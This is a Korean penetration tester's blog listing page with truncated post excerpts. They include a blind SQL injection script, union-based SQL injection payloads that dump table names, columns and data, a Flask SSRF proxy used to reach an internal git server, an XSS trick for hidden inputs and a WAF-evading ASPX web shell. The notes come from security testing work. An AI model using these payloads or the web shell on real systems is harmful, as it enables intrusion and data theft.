일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- self-signed
- 네이버카페
- 취약점
- CryptoJS
- 다우오피스
- NUGU
- 허리디스크
- 많다..
- 변태는
- esbuild
- ssrf
- shell_gpt
- Sequoia
- MongoDB #NoSQL #CreateUser #DropUser #mongod #mognod.conf
- XSS
- Frida
- 로맨스스캠
- CJ대한통운 #쿠팡 #통관번호오류 #통관고유번호오류 #안주원팀장 #모건인베스트
- Malware Sample
- 보이스피싱 #대검찰청 #명의도용 #비밀번호 #계좌번호 #공공기관 #가짜검찰청
- ue4dumper
- 모의해킹
- intelmac
- 척추관협착증
- 안전결제
- speed-measure-webpack-plugin
- open redirect
- 채팅환전사기
- 중고나라
- 거래사기
- Today
- Total
목록모의해킹 (26)
annyoung
대다수의 개발자들이 Swagger API Document를 이용해서 API 문서를 자동 또는 수동으로 정리하곤한다. 기본적으로 /swagger-ui/index.html을 사용하거나 /swagger/index.html을 사용해서 접근하곤 하지만.. 비인가자에 대한 외부 접근 차단을 위해 또는 사내 규칙 등으로 인해 의미없는 단어로 URL 라우팅을 변경한다. 예를 들어 /nopsled-swagger/view.html과 같이 수정해서 운영에 배포하는 경우가 존재한다. 그 경우엔 Swagger에서 사용하는 API에 대한 json 정보들이 담겨있는 api-docs를 찾아보면 가끔 나온다. 참고로 나는 Swagger를 발견하면 Swagger Authentication을 적용하라고 하는데.. 엔드포인트만 변경해놓고 ..
SQL 인젝션 벡터를 cURL로 복사한 후에 인터넷에서 Curl converter를 이용해서 포팅한 후 사용하면 된다. 여기서 컨버팅되는 headers는 config.py로 따로 뺀 후에 headers로 그대로 선언해주면 되고, 세션은 그냥 쿠키만 따로 오버라이딩해서 사용하면 된다. (로그인까지 만드는건 시간낭비...!) pythonimport requestsfrom config import headersfrom urllib.parse import quote_plusbin_str = ''data = "idx=1"headers['Cookie'] = '' # overriding cookie for login sessionfor i in range(1, 13): # length(database()): 12 ..
모의해킹을 하다보면 아주 가끔 레거시한 환경에서 SQL Injection이 보이곤한다. 자주쓸 것 같아서 메모해둬야겠다 싶어서 적어놔야겠다. table_schema.table_name 형식으로 테이블명 가져오기' union all select 1,group_concat(concat(table_schema, 0x2E, table_name)),3 from information_schema.tables# 테이블 컬럼 가져오기' union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='$TABLE_NAME'# 테이블 데이터 가져오기PoC용으로 1개만 가져오도록 limit으로 잘랐음' union a..
폴더 정리하다가 찾은 코드인데 나름 재밌었던 취약점이었다. example.com의 서버가 이미지 다운로드를 지원하고 있었고, 아마도 example.com이 DMZ에 있던거 같은데 이로 인해서 내부 git에 접근할 수 있던 취약점이었다. 물론 git commit date가 최소 2 years ago 이러다보니.. 버려진 사이트 같았고 인증 절차가 없다보니 git에 업로드된 소스코드들을 볼 수 있었다.import requestsfrom flask import Flask, requestapp = Flask(__name__)@app.route('/gitweb')def index(): return requests.get('https://example.com/v1/download/image', dict( ..
2024년 7월 25일에 추가된 WebAPI oncontentvisibilityautostatechange 덕분에 input type이 hidden인 경우에도 XSS를 트리거할 수 있게 되었다. * 페이로드 출처: https://x.com/kinugawamasato/status/1816234368714871185

항상 sourcemap 관련해서 글을 쓰게 되는데, 오늘은 모의해킹하면서 신기한 서비스를 하나 발견했다. 대부분의 sourcemap은 asset들 가장 최하단에 //# sourceMappingURL=/hashed-assets/2189-fba78f1fdbd912f4.js.map 이렇게 붙게 되고, 크롬에서는 이를 파싱해서 sourcemap 파일과 매핑해서 원본 소스코드를 보여준다. ms teams에서는 sourcemap에 대한 민감도를 인지하고 있는지, 내부(로컬)에서만 사용할 수 있도록 URL을 구성해놨다. 이런 경우엔 외부에서 local.teams.office.com엔 접속이 불가능하지만, 내부에서는 DNS던 hosts 파일이던 해당 도메인의 IP를 받아올 수 있고 접근할 수 있다. 도메인이 dev가 ..

RN 동작 방식 및 디버깅React Native는 컴파일(빌드)을 통해 모든 코드들이 *.bundle로 번들링된다. 개발자마다 bundle의 이름을 다르게 설정하기도 하는데, 기본적으로 index.ios.bundle와 index.android.bundle인 것으로 알고 있다.(또는 버전에 따라 main.jsbundle로 보여지기도 한다.)이러한 bundle은 Android의 경우 V8 Engine에서 돌아가고, iOS의 경우 JavascriptCore Engine를 이용해 구동된다. 여기서 debug 모드가 enable 되어 있는 경우 Android는 chrome remote debugging을 통해 디버깅이 가능하고, 또는 Frida를 이용해 webview의 debug 모드를 강제로 활성화 시킬 수 있..

gname(NamePoolData) 구하기NamePoolData를 얻는 방법은 버전에 따라 다르긴한데 FNamePool을 역추적해서 호출하는 녀석을 확인해야 한다. 대표적으로 하나를 확인해보면 FNamePool을 호출하면서 byte_D0DD440을 파라미터로 넘겨주는데(원래는 unk_D0DD440), 이게 NamePoolData라고 보면된다. 이렇게 NamePoolData의 offset은 0xD0DD440이다. guobj(GUObjectArray) 구하기Strings에서 GUObjectArray 검색해서 더블 클릭 여기서 xrefs로 참조하는 곳으로 간다음에 Export해서 사용하는걸 볼 수 있는데, 이거 다시 더블 클릭해서 들어가면 GUObjectArray의 offset을 구할 수 있고 0xD12192..
보호되어 있는 글입니다.
대중적으로 사용되는 웹쉘들이 업로드가 아예 안됐는데 앞단에 WAF가 존재했고, IIS 서버에서는 안랩 랜섬웨어 관련 백신이 돌고 있었다. 안올라가는 이유를 모르겠으나.. ModSecurity가 돌고 있는것 같기도하고.. 확실하진 않다. Set, Let과 같은 지시어를 사용해 변수 선언이 아예 불가능해서 하나 하나 테스트하면서 결국 찾았다.. Upload 되는 디렉토리에서는 실행 권한이 빠져있는 것 같아서 최상위 디렉토리로 올려서 실행했다. 아무튼 사용 방법은 /shell.aspx?x=dir로 사용하면 된다.